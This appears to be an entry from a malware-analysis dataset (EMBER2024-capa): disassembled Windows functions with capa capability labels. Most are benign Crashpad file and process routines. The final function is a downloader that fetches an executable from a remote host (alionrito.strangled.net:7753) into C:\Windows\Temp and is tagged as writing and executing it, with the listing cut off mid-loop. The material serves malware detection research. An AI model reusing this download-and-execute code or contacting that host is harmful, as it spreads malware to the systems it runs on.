joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1401bb660
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push r15
push r14
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x38
mov rsi, r9
mov ebp, r8d
mov rdi, rcx
mov rax, qword [0x140260028]
xor rax, rsp
mov qword [rsp + 0x30], rax
movups xmm0, xmmword [rdx]
movaps xmmword [rsp + 0x20], xmm0
mov rbx, qword [rcx + 0x50]
mov r15, qword [rcx + 0x58]
cmp rbx, r15
je 0x1401bb6ba
lea r14, [rsp + 0x20]
mov rcx, rbx
mov rdx, r14
call fcn.1401d1cf0
test al, al
jne 0x1401bb6b6
add rbx, 0x70
cmp rbx, r15
jne 0x1401bb69e
mov r15, qword [rdi + 0x58]
mov r14d, 1
cmp rbx, r15
je 0x1401bb70d
mov eax, dword [rbx + 0x68]
cmp eax, ebp
jne 0x1401bb6fe
cmp byte [rbx + 0x27], 0
jns 0x1401bb6d8
mov rcx, qword [rbx + 0x10]
jmp 0x1401bb6dc
lea rcx, [rbx + 0x10]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x1401bb70d
shr eax, 3
and eax, 2
mov r14d, eax
jne 0x1401bb70d
mov byte [rdi + 0x48], 1
mov qword [rsi], rbx
xor r14d, r14d
jmp 0x1401bb70d
xor ecx, ecx
cmp eax, 1
sete cl
lea r14d, [rcx + rcx*2]
inc r14d
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.140149190
mov eax, r14d
add rsp, 0x38
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
ret
Function at 0x1401bb880
Capabilities:
Delete file

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x198
mov rsi, rdx
mov rdi, rcx
mov rax, qword [0x140260028]
xor rax, rsp
mov qword [rsp + 0x190], rax
movabs rax, 0xaaaaaaaaaaaaaaaa
lea rbx, [rsp + 0x48]
mov qword [rbx], rax
mov rdx, rbx
call fcn.14005ce10
mov r12, qword [rbx]
test r12, r12
je 0x1401bb934
xorps xmm0, xmm0
movaps xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], 0
movups xmm0, xmmword [rsi]
movaps xmmword [rsp + 0x50], xmm0
mov rbx, qword [r12 + 0x50]
mov r15, qword [r12 + 0x58]
cmp rbx, r15
je 0x1401bb917
lea r14, [rsp + 0x50]
mov rcx, rbx
mov rdx, r14
call fcn.1401d1cf0
test al, al
jne 0x1401bb912
add rbx, 0x70
cmp rbx, r15
jne 0x1401bb8fa
mov r15, qword [r12 + 0x58]
cmp rbx, r15
jne 0x1401bb969
mov esi, 1
cmp byte [rsp + 0x47], 0
jns 0x1401bb939
mov rcx, qword [rsp + 0x30]
call fcn.140146640
jmp 0x1401bb939
mov esi, 3
lea rcx, [rsp + 0x48]
call fcn.14005c560
mov rcx, qword [rsp + 0x190]
xor rcx, rsp
call fcn.140149190
mov eax, esi
add rsp, 0x198
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rdx, [rbx + 0x10]
lea r14, [rsp + 0x30]
mov rcx, r14
call fcn.1401239b0
mov r13, qword [r12 + 0x58]
cmp r13, rbx
je 0x1401bbad5
lea rcx, [r12 + 0x50]
lea rbp, [rbx + 0x70]
mov rdx, rbx
cmp rbp, r13
je 0x1401bb9b7
mov qword [rsp + 0x28], rcx
xor r15d, r15d
jmp 0x1401bba3e
add rbp, 0xffffffffffffff90
mov rdx, rbp
lea r14, [rsp + 0x30]
mov rcx, qword [rsp + 0x28]
sub rdx, rbx
add rdx, rbx
call fcn.1401bca10
mov byte [r12 + 0x48], 1
cmp byte [rsp + 0x47], 0
jns 0x1401bb9d4
mov r14, qword [rsp + 0x30]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
je 0x1401bba5f
mov rcx, rdi
mov rdx, rsi
call fcn.1401cff90
xor esi, esi
jmp 0x1401bb921
mov rcx, qword [r14]
call fcn.140146640
mov rax, qword [rbp + 0x38]
mov qword [r14 + 0x10], rax
movups xmm0, xmmword [rbp + 0x28]
movups xmmword [r14], xmm0
mov byte [rbp + 0x3f], r15b
mov byte [rbp + 0x28], r15b
movups xmm0, xmmword [rbp + 0x40]
movups xmm1, xmmword [rbp + 0x50]
movups xmmword [rbp - 0x30], xmm0
movups xmmword [rbp - 0x20], xmm1
mov rax, qword [rbp + 0x60]
mov qword [rbp - 0x10], rax
mov eax, dword [rbp + 0x68]
mov dword [rbp - 8], eax
add rbp, 0x70
cmp rbp, r13
je 0x1401bb9a6
movups xmm0, xmmword [rbp]
movups xmmword [rbp - 0x70], xmm0
lea rcx, [rbp - 0x60]
lea rdx, [rbp + 0x10]
call fcn.140069990
lea r14, [rbp - 0x48]
cmp byte [rbp - 0x31], 0
jns 0x1401bb9fb
jmp 0x1401bb9f3
mov esi, 2
mov ecx, 2
call fcn.140144ac0
test al, al
je 0x1401bb921
call sub.KERNEL32.dll_GetLastError
mov dword [rsp + 0x20], eax
lea rdx, str....._third_partycrashpadcrashpadclientcrash_report_database_win.cc
lea rdi, [rsp + 0x50]
mov esi, 2
mov rcx, rdi
mov r8d, 0x36f
mov r9d, 2
call fcn.1401a58f0
lea rcx, [rsp + 0x60]
lea rdx, str.DeleteFile
mov r8d, 0xb
call fcn.14012f860
lea rdx, [rsp + 0x30]
mov rcx, rax
call fcn.1401a67a0
mov rcx, rdi
call fcn.1401a5960
jmp 0x1401bb921
ud2
Function at 0x1401c0db0
Capabilities:
Terminate process

Disassembly:
push rsi
push rdi
sub rsp, 0x158
mov rsi, rcx
mov rax, qword [0x140260028]
xor rax, rsp
mov qword [rsp + 0x150], rax
mov rax, qword [0x140278c40]
test rax, rax
jne 0x1401c0df4
mov rdi, qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call rdi
mov rax, qword [0x140278c40]
test rax, rax
je 0x1401c0de1
cmp eax, 2
jne 0x1401c0e3d
cmp dword [0x1402722f8], 2
jg 0x1401c0ed4
lea rdx, str....._third_partycrashpadcrashpadclientcrashpad_client_win.cc
lea rsi, [rsp + 0x20]
mov rcx, rsi
mov r8d, 0x90
mov r9d, 2
call fcn.140030930
lea rcx, [rsp + 0x30]
lea rdx, str.crash_server_failed_to_launch__self_terminating
mov r8d, 0x2f
jmp 0x1401c0ec7
mov eax, 1
lock xadd qword [0x140278c78], rax
inc rax
cmp rax, 2
jl 0x1401c0e61
mov ecx, 0xffffffff
xor edx, edx
call qword [sym.imp.KERNEL32.dll_SleepEx]
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x140278c00], eax
mov qword [0x140278bf8], rsi
mov rcx, qword [0x14026e7a8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov ecx, 0xea60
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [0x1402722f8], 2
jg 0x1401c0ed4
lea rdx, str....._third_partycrashpadcrashpadclientcrashpad_client_win.cc
lea rsi, [rsp + 0x20]
mov rcx, rsi
mov r8d, 0xbc
mov r9d, 2
call fcn.140030930
lea rcx, [rsp + 0x30]
lea rdx, str.crash_server_did_not_respond__self_terminating
mov r8d, 0x2e
call fcn.14012f860
mov rcx, rsi
call fcn.1400502a0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0xffff7001
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.140149190
xor eax, eax
add rsp, 0x158
pop rdi
pop rsi
ret
Function at 0x1401c9270
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov rax, rcx
mov rcx, r8
mov r8, rax
jmp fcn.1401c9660

Function at 0x1401cee60
Capabilities:
Write file on windows

Disassembly:
push rsi
push rdi
sub rsp, 0x28
mov rsi, rdx
mov rdi, rcx
xor edx, edx
xor r8d, r8d
call fcn.14005d960
test rax, rax
jne 0x1401cee9e
mov rcx, rdi
call fcn.140057dc0
test al, al
je 0x1401cee9e
mov r8d, 0x28
mov rcx, rdi
mov rdx, rsi
add rsp, 0x28
pop rdi
pop rsi
jmp fcn.140059360
xor eax, eax
add rsp, 0x28
pop rdi
pop rsi
ret

Function at 0x1401d1470
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x170
mov ebx, edx
mov rsi, rcx
mov rax, qword [0x140260028]
xor rax, rsp
mov qword [rsp + 0x168], rax
cmp byte [rcx + 0x17], 0
jns 0x1401d149a
mov rcx, qword [rsi]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x1401d14b9
mov edi, eax
shr eax, 0xa
xor bl, 1
test al, bl
jne 0x1401d151a
and edi, 0x10
shr edi, 4
jmp 0x1401d151c
mov ecx, 2
call fcn.140144ac0
test al, al
je 0x1401d151a
call sub.KERNEL32.dll_GetLastError
mov dword [rsp + 0x20], eax
lea rdx, str....._third_partycrashpadcrashpadutil_file_filesystem_win.cc
lea rdi, [rsp + 0x30]
mov rcx, rdi
mov r8d, 0x80
mov r9d, 2
call fcn.1401a58f0
lea rcx, [rsp + 0x40]
lea rdx, str.GetFileAttributes
mov r8d, 0x12
call fcn.14012f860
mov rcx, rax
mov rdx, rsi
call fcn.1401a67a0
mov rcx, rdi
call fcn.1401a5960
xor edi, edi
mov rcx, qword [rsp + 0x168]
xor rcx, rsp
call fcn.140149190
mov eax, edi
add rsp, 0x170
pop rbx
pop rdi
pop rsi
ret

Function at 0x1401d1540
Capabilities:
Create directory

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x170
mov ebx, r8d
mov rsi, rcx
mov rax, qword [0x140260028]
xor rax, rsp
mov qword [rsp + 0x168], rax
cmp byte [rcx + 0x17], 0
jns 0x1401d156b
mov rcx, qword [rsi]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov dil, 1
test eax, eax
jne 0x1401d15f2
test bl, bl
je 0x1401d158f
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x1401d160f
mov ecx, 2
call fcn.140144ac0
test al, al
je 0x1401d15f0
call sub.KERNEL32.dll_GetLastError
mov dword [rsp + 0x20], eax
lea rdx, str....._third_partycrashpadcrashpadutil_file_filesystem_win.cc
lea rdi, [rsp + 0x30]
mov rcx, rdi
mov r8d, 0x61
mov r9d, 2
call fcn.1401a58f0
lea rcx, [rsp + 0x40]
lea rdx, str.CreateDirectory
mov r8d, 0x10
call fcn.14012f860
mov rcx, rax
mov rdx, rsi
call fcn.1401a67a0
mov rcx, rdi
call fcn.1401a5960
xor edi, edi
mov rcx, qword [rsp + 0x168]
xor rcx, rsp
call fcn.140149190
mov eax, edi
add rsp, 0x170
pop rbx
pop rdi
pop rsi
ret
mov dil, 1
mov rcx, rsi
mov dl, 1
call fcn.1401d1470
test al, al
jne 0x1401d15f2
mov ecx, 2
call fcn.140144ac0
test al, al
je 0x1401d15f0
lea rdx, str....._third_partycrashpadcrashpadutil_file_filesystem_win.cc
lea rdi, [rsp + 0x30]
mov rcx, rdi
mov r8d, 0x5c
mov r9d, 2
call fcn.140030930
lea rcx, [rsp + 0x40]
mov rdx, rsi
call fcn.1401a67a0
lea rdx, str._not_a_directory
mov r8d, 0x10
mov rcx, rax
call fcn.14012f860
mov rcx, rdi
call fcn.1400502a0
jmp 0x1401d15f0
Function at 0x1401d1680
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push rsi
push rdi
sub rsp, 0x168
mov rsi, rcx
mov rax, qword [0x140260028]
xor rax, rsp
mov qword [rsp + 0x160], rax
cmp byte [rcx + 0x17], 0
jns 0x1401d16a7
mov rcx, qword [rsi]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x1401d16d7
test eax, 0x410
sete sil
mov rcx, qword [rsp + 0x160]
xor rcx, rsp
call fcn.140149190
mov eax, esi
add rsp, 0x168
pop rdi
pop rsi
ret
mov ecx, 2
call fcn.140144ac0
test al, al
je 0x1401d1738
call sub.KERNEL32.dll_GetLastError
mov dword [rsp + 0x20], eax
lea rdx, str....._third_partycrashpadcrashpadutil_file_filesystem_win.cc
lea rdi, [rsp + 0x28]
mov rcx, rdi
mov r8d, 0x73
mov r9d, 2
call fcn.1401a58f0
lea rcx, [rsp + 0x38]
lea rdx, str.GetFileAttributes
mov r8d, 0x12
call fcn.14012f860
mov rcx, rax
mov rdx, rsi
call fcn.1401a67a0
mov rcx, rdi
call fcn.1401a5960
xor esi, esi
jmp 0x1401d16bb

Function at 0x1401d1740
Capabilities:
Check if file exists
Delete directory
Delete file

Disassembly:
push rsi
push rdi
sub rsp, 0x168
mov rsi, rcx
mov rax, qword [0x140260028]
xor rax, rsp
mov qword [rsp + 0x160], rax
cmp byte [rcx + 0x17], 0
jns 0x1401d1767
mov rcx, qword [rsi]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
sete cl
not eax
test eax, 0x410
setne al
or al, cl
je 0x1401d181d
cmp byte [rsi + 0x17], 0
mov rcx, rsi
jns 0x1401d1791
mov rcx, qword [rsi]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov dil, 1
test eax, eax
jne 0x1401d1801
mov ecx, 2
call fcn.140144ac0
test al, al
je 0x1401d17ff
call sub.KERNEL32.dll_GetLastError
mov dword [rsp + 0x20], eax
lea rdx, str....._third_partycrashpadcrashpadutil_file_filesystem_win.cc
lea rdi, [rsp + 0x28]
mov rcx, rdi
mov r8d, 0x93
mov r9d, 2
call fcn.1401a58f0
lea rcx, [rsp + 0x38]
lea rdx, str.DeleteFile
mov r8d, 0xb
call fcn.14012f860
mov rcx, rax
mov rdx, rsi
call fcn.1401a67a0
mov rcx, rdi
call fcn.1401a5960
xor edi, edi
mov rcx, qword [rsp + 0x160]
xor rcx, rsp
call fcn.140149190
mov eax, edi
add rsp, 0x168
pop rdi
pop rsi
ret
mov rcx, qword [rsp + 0x160]
xor rcx, rsp
call fcn.140149190
mov rcx, rsi
add rsp, 0x168
pop rdi
pop rsi
jmp fcn.1401d1840

Function at 0x1401d1840
Capabilities:
Delete directory

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x170
mov rsi, rcx
mov rax, qword [0x140260028]
xor rax, rsp
mov qword [rsp + 0x168], rax
cmp byte [rcx + 0x17], 0
jns 0x1401d1868
mov rcx, qword [rsi]
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
mov edi, eax
test eax, eax
je 0x1401d1896
test edi, edi
setne bl
mov rcx, qword [rsp + 0x168]
xor rcx, rsp
call fcn.140149190
mov eax, ebx
add rsp, 0x170
pop rbx
pop rdi
pop rsi
ret
mov ecx, 2
call fcn.140144ac0
test al, al
je 0x1401d1874
call sub.KERNEL32.dll_GetLastError
mov dword [rsp + 0x20], eax
lea rdx, str....._third_partycrashpadcrashpadutil_file_filesystem_win.cc
lea rbx, [rsp + 0x30]
mov rcx, rbx
mov r8d, 0x2f
mov r9d, 2
call fcn.1401a58f0
lea rcx, [rsp + 0x40]
lea rdx, str.RemoveDirectory
mov r8d, 0x10
call fcn.14012f860
mov rcx, rax
mov rdx, rsi
call fcn.1401a67a0
mov rcx, rbx
call fcn.1401a5960
jmp 0x1401d1874
Function at 0x1401d9400
Capabilities:
Get system information on windows

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x180
mov rdi, rdx
mov rsi, rcx
mov rax, qword [0x140260028]
xor rax, rsp
mov qword [rsp + 0x178], rax
mov qword [rcx + 8], rdx
mov eax, dword [0x1402797f8]
mov ecx, dword [0x14026ee18]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
cmp eax, dword [rcx + 4]
jg 0x1401d9681
mov rax, qword [0x1402797f0]
test rax, rax
je 0x1401d94eb
lea rdx, [rsp + 0x174]
mov dword [rdx], 0xaaaaaaaa
mov rcx, rdi
call qword [0x1402529a0]
test eax, eax
je 0x1401d9495
cmp dword [rsp + 0x174], 0
setne byte [rsi + 0x81]
je 0x1401d94f2
mov byte [rsi + 0x80], 0
mov dl, 1
jmp 0x1401d9523
mov ecx, 2
call fcn.140144ac0
test al, al
je 0x1401d94eb
call sub.KERNEL32.dll_GetLastError
mov dword [rsp + 0x20], eax
lea rdx, str....._third_partycrashpadcrashpadutilwinprocess_info.cc
lea rbx, [rsp + 0x30]
mov rcx, rbx
mov r8d, 0x4d
mov r9d, 2
call fcn.1401a58f0
lea rcx, [rsp + 0x40]
lea rdx, [0x140245446]
mov r8d, 0xe
call fcn.14012f860
mov rcx, rbx
call fcn.1401a5960
mov byte [rsi + 0x81], 0
movaps xmm0, xmmword [0x14022cb50]
lea rbx, [rsp + 0x30]
movaps xmmword [rbx + 0x20], xmm0
movaps xmmword [rbx + 0x10], xmm0
movaps xmmword [rbx], xmm0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp word [rbx], 9
sete byte [rsi + 0x80]
mov dl, byte [rsi + 0x81]
lea rax, [rsi + 0x30]
lea r9, [rsi + 0x28]
mov qword [rsp + 0x20], rax
and dl, 1
mov rcx, rdi
mov r8, rsi
call fcn.1401d96d0
test al, al
jne 0x1401d95ae
mov ecx, 2
call fcn.140144ac0
test al, al
je 0x1401d958f
lea rdx, str....._third_partycrashpadcrashpadutilwinprocess_info.cc
lea rsi, [rsp + 0x30]
mov rcx, rsi
mov r8d, 0x221
mov r9d, 2
call fcn.140030930
lea rcx, [rsp + 0x40]
lea rdx, str.GetProcessBasicInformation_failed
mov r8d, 0x21
call fcn.14012f860
mov rcx, rsi
call fcn.1400502a0
xor esi, esi
mov rcx, qword [rsp + 0x178]
xor rcx, rsp
call fcn.140149190
mov eax, esi
add rsp, 0x180
pop rbx
pop rdi
pop rsi
ret
mov rdx, qword [rsi + 0x28]
cmp byte [rsi + 0x80], 1
jne 0x1401d95c8
mov rcx, rdi
mov r8, rsi
call fcn.1401d9910
jmp 0x1401d95d3
mov rcx, rdi
mov r8, rsi
call fcn.1401d9fe0
test al, al
jne 0x1401d961c
mov ecx, 2
call fcn.140144ac0
test al, al
je 0x1401d958f
lea rdx, str....._third_partycrashpadcrashpadutilwinprocess_info.cc
lea rsi, [rsp + 0x30]
mov rcx, rsi
mov r8d, 0x22a
mov r9d, 2
call fcn.140030930
lea rcx, [rsp + 0x40]
lea rdx, str.ReadProcessData_failed
mov r8d, 0x16
jmp 0x1401d9582
mov dl, byte [rsi + 0x80]
mov rcx, rdi
mov r8, rsi
call fcn.1401d8980
mov sil, 1
test al, al
jne 0x1401d9591
mov ecx, 2
call fcn.140144ac0
test al, al
je 0x1401d958f
lea rdx, str....._third_partycrashpadcrashpadutilwinprocess_info.cc
lea rsi, [rsp + 0x30]
mov rcx, rsi
mov r8d, 0x22f
mov r9d, 2
call fcn.140030930
lea rcx, [rsp + 0x40]
lea rdx, str.ReadMemoryInfo_failed
mov r8d, 0x15
jmp 0x1401d9582
lea rcx, [0x1402797f8]
call fcn.1401467a0
cmp dword [0x1402797f8], 0xffffffff
jne 0x1401d944b
lea rcx, [0x1402338c8]
lea rdx, str.::IsWow64Process
xor r8d, r8d
call fcn.1400b8ee0
mov qword [0x1402797f0], rax
lea rcx, [0x1402797f8]
call fcn.140146740
jmp 0x1401d944b
Function at 0x1401e5e40
Capabilities:
Query or enumerate registry value

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x50
mov rsi, r8
mov rax, qword [0x140260028]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov eax, 0xaaaaaaaa
lea rdi, [rsp + 0x44]
mov dword [rdi], eax
lea r8, [rsp + 0x40]
mov dword [r8], eax
lea rax, [rsp + 0x3c]
mov dword [rax], 4
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r8
xor r8d, r8d
mov r9, rdi
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov ecx, dword [rdi]
xor ecx, 4
or ecx, eax
sete bl
jne 0x1401e5ea0
mov eax, dword [rsp + 0x40]
mov dword [rsi], eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140149190
mov eax, ebx
add rsp, 0x50
pop rbx
pop rdi
pop rsi
ret

Function at 0x1401e5f60
Capabilities:
Get system information on windows

Disassembly:
push rsi
sub rsp, 0x190
mov rax, qword [0x140260028]
xor rax, rsp
mov qword [rsp + 0x188], rax
movaps xmm0, xmmword [0x14022cb50]
lea rsi, [rsp + 0x150]
movaps xmmword [rsi + 0x20], xmm0
movaps xmmword [rsi + 0x10], xmm0
movaps xmmword [rsi], xmm0
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp dword [rsi + 0x20], 0x100
jb 0x1401e5ff3
mov ecx, 1
call fcn.140144ac0
test al, al
je 0x1401e5ff3
lea rdx, str....._third_partycrashpadcrashpad_snapshotwin_system_snapshot_win.cc
lea rsi, [rsp + 0x20]
mov rcx, rsi
mov r8d, 0x10a
mov r9d, 1
call fcn.140030930
lea rcx, [rsp + 0x30]
lea rdx, str.dwNumberOfProcessors_exceeds_uint8_t_storage
mov r8d, 0x2c
call fcn.14012f860
mov rcx, rsi
call fcn.1400502a0
mov eax, dword [rsp + 0x170]
cmp eax, 0x100
mov esi, 0xff
cmovb esi, eax
mov rcx, qword [rsp + 0x188]
xor rcx, rsp
call fcn.140149190
mov eax, esi
add rsp, 0x190
pop rsi
ret
Function at 0x1401f9970
Capabilities:
Parse pe header

Disassembly:
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0x1a0
mov rdi, r8
mov rbx, rdx
mov rsi, rcx
mov rax, qword [0x140260028]
xor rax, rsp
mov qword [rsp + 0x198], rax
movaps xmm0, xmmword [0x14022cb50]
lea r15, [rsp + 0x150]
movaps xmmword [r15 + 0x30], xmm0
movaps xmmword [r15 + 0x20], xmm0
movaps xmmword [r15 + 0x10], xmm0
movaps xmmword [r15], xmm0
lea r14, [rcx + 0x18]
mov rcx, r14
call fcn.1401878f0
mov r8d, 0x40
mov rcx, rsi
mov rdx, rax
mov r9, r15
call fcn.140202c70
test al, al
je 0x1401f9a87
movzx eax, word [rsp + 0x150]
cmp eax, 0x5a4d
jne 0x1401f9a41
mov rcx, r14
call fcn.1401878f0
movsxd r14, dword [rsp + 0x18c]
add r14, rax
mov r8d, 0x108
mov rcx, rsi
mov rdx, r14
mov r9, rbx
call fcn.140202c70
test al, al
je 0x1401f9b13
cmp dword [rbx], 0x4550
jne 0x1401f9b52
mov sil, 1
test rdi, rdi
je 0x1401f9af2
mov qword [rdi], r14
jmp 0x1401f9af2
mov ecx, 1
call fcn.140144ac0
test al, al
je 0x1401f9af0
lea rdx, str....._third_partycrashpadcrashpad_snapshotwinpe_image_reader.cc
lea rdi, [rsp + 0x20]
mov rcx, rdi
mov r8d, 0x15a
mov r9d, 1
call fcn.140030930
lea rcx, [rsp + 0x30]
lea rdx, str.invalid_e_magic_in_dos_header_of
mov r8d, 0x21
jmp 0x1401f9ac7
mov ecx, 1
call fcn.140144ac0
test al, al
je 0x1401f9af0
lea rdx, str....._third_partycrashpadcrashpad_snapshotwinpe_image_reader.cc
lea rdi, [rsp + 0x20]
mov rcx, rdi
mov r8d, 0x154
mov r9d, 1
call fcn.140030930
lea rcx, [rsp + 0x30]
lea rdx, str.could_not_read_dos_header_from
mov r8d, 0x1f
call fcn.14012f860
movsx r8, byte [rsi + 0x17]
test r8, r8
jns 0x1401f9add
mov r8, qword [rsi + 8]
mov rsi, qword [rsi]
mov rcx, rax
mov rdx, rsi
call fcn.14012f860
mov rcx, rdi
call fcn.1400502a0
xor esi, esi
mov rcx, qword [rsp + 0x198]
xor rcx, rsp
call fcn.140149190
mov eax, esi
add rsp, 0x1a0
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
mov ecx, 1
call fcn.140144ac0
test al, al
je 0x1401f9af0
lea rdx, str....._third_partycrashpadcrashpad_snapshotwinpe_image_reader.cc
lea rdi, [rsp + 0x20]
mov rcx, rdi
mov r8d, 0x162
mov r9d, 1
call fcn.140030930
lea rcx, [rsp + 0x30]
lea rdx, str.could_not_read_nt_headers_from
jmp 0x1401f9ac1
mov ecx, 1
call fcn.140144ac0
test al, al
je 0x1401f9af0
lea rdx, str....._third_partycrashpadcrashpad_snapshotwinpe_image_reader.cc
lea rdi, [rsp + 0x20]
mov rcx, rdi
mov r8d, 0x168
mov r9d, 1
call fcn.140030930
lea rcx, [rsp + 0x30]
lea rdx, str.invalid_signature_in_nt_headers_of
mov r8d, 0x23
jmp 0x1401f9ac7
Function at 0x1401f9ba0
Capabilities:
Parse pe header

Disassembly:
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0x1a0
mov rdi, r8
mov rbx, rdx
mov rsi, rcx
mov rax, qword [0x140260028]
xor rax, rsp
mov qword [rsp + 0x198], rax
movaps xmm0, xmmword [0x14022cb50]
lea r15, [rsp + 0x150]
movaps xmmword [r15 + 0x30], xmm0
movaps xmmword [r15 + 0x20], xmm0
movaps xmmword [r15 + 0x10], xmm0
movaps xmmword [r15], xmm0
lea r14, [rcx + 0x18]
mov rcx, r14
call fcn.1401878f0
mov r8d, 0x40
mov rcx, rsi
mov rdx, rax
mov r9, r15
call fcn.140202c70
test al, al
je 0x1401f9cb7
movzx eax, word [rsp + 0x150]
cmp eax, 0x5a4d
jne 0x1401f9c71
mov rcx, r14
call fcn.1401878f0
movsxd r14, dword [rsp + 0x18c]
add r14, rax
mov r8d, 0xf8
mov rcx, rsi
mov rdx, r14
mov r9, rbx
call fcn.140202c70
test al, al
je 0x1401f9d43
cmp dword [rbx], 0x4550
jne 0x1401f9d82
mov sil, 1
test rdi, rdi
je 0x1401f9d22
mov qword [rdi], r14
jmp 0x1401f9d22
mov ecx, 1
call fcn.140144ac0
test al, al
je 0x1401f9d20
lea rdx, str....._third_partycrashpadcrashpad_snapshotwinpe_image_reader.cc
lea rdi, [rsp + 0x20]
mov rcx, rdi
mov r8d, 0x15a
mov r9d, 1
call fcn.140030930
lea rcx, [rsp + 0x30]
lea rdx, str.invalid_e_magic_in_dos_header_of
mov r8d, 0x21
jmp 0x1401f9cf7
mov ecx, 1
call fcn.140144ac0
test al, al
je 0x1401f9d20
lea rdx, str....._third_partycrashpadcrashpad_snapshotwinpe_image_reader.cc
lea rdi, [rsp + 0x20]
mov rcx, rdi
mov r8d, 0x154
mov r9d, 1
call fcn.140030930
lea rcx, [rsp + 0x30]
lea rdx, str.could_not_read_dos_header_from
mov r8d, 0x1f
call fcn.14012f860
movsx r8, byte [rsi + 0x17]
test r8, r8
jns 0x1401f9d0d
mov r8, qword [rsi + 8]
mov rsi, qword [rsi]
mov rcx, rax
mov rdx, rsi
call fcn.14012f860
mov rcx, rdi
call fcn.1400502a0
xor esi, esi
mov rcx, qword [rsp + 0x198]
xor rcx, rsp
call fcn.140149190
mov eax, esi
add rsp, 0x1a0
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
mov ecx, 1
call fcn.140144ac0
test al, al
je 0x1401f9d20
lea rdx, str....._third_partycrashpadcrashpad_snapshotwinpe_image_reader.cc
lea rdi, [rsp + 0x20]
mov rcx, rdi
mov r8d, 0x162
mov r9d, 1
call fcn.140030930
lea rcx, [rsp + 0x30]
lea rdx, str.could_not_read_nt_headers_from
jmp 0x1401f9cf1
mov ecx, 1
call fcn.140144ac0
test al, al
je 0x1401f9d20
lea rdx, str....._third_partycrashpadcrashpad_snapshotwinpe_image_reader.cc
lea rdi, [rsp + 0x20]
mov rcx, rdi
mov r8d, 0x168
mov r9d, 1
call fcn.140030930
lea rcx, [rsp + 0x30]
lea rdx, str.invalid_signature_in_nt_headers_of
mov r8d, 0x23
jmp 0x1401f9cf7
Function at 0x180001010
Capabilities:
Create http request
Create process on windows
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Write and execute a file
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbp
push rsi
sub rsp, 0x460
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x450], rax
xor ebp, ebp
lea rcx, str.MyAgent
xor r9d, r9d
mov dword [rsp + 0x20], ebp
xor r8d, r8d
mov edx, 1
call qword [sym.imp.WININET.dll_InternetOpenA]
mov rsi, rax
test rax, rax
je 0x18000115a
mov qword [rsp + 0x28], rbp
lea rdx, str.http:__alionrito.strangled.net:7753_LOCPITC_wimserv.exe_passACBIa96827756ACIPLXGCPID
xor r9d, r9d
mov dword [rsp + 0x20], 0x80000000
xor r8d, r8d
mov qword [rsp + 0x470], rbx
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rbx, rax
test rax, rax
je 0x180001149
mov qword [rsp + 0x30], rbp
lea rcx, str.C:WindowsTempdownloaded_file.exe
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 2
mov edx, 0x40000000
mov qword [rsp + 0x478], rdi
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x180001138
lea r9, [rsp + 0x40]
mov r8d, 0x400
lea rdx, [rsp + 0x50]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x18000112f
nop dword [rax + rax]
mov r8d, dword [rsp + 0x40]
test r8d, r8d
je 0x18000112f
lea r9, [rsp + 0x44]
mov qword [rsp + 0x20], rbp
lea rdx, [rsp + 0x50]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
lea r9, [rsp + 0x40]
mov r8d, 0x400
lea rdx, [rsp + 0x50]
mov rcx, rbx
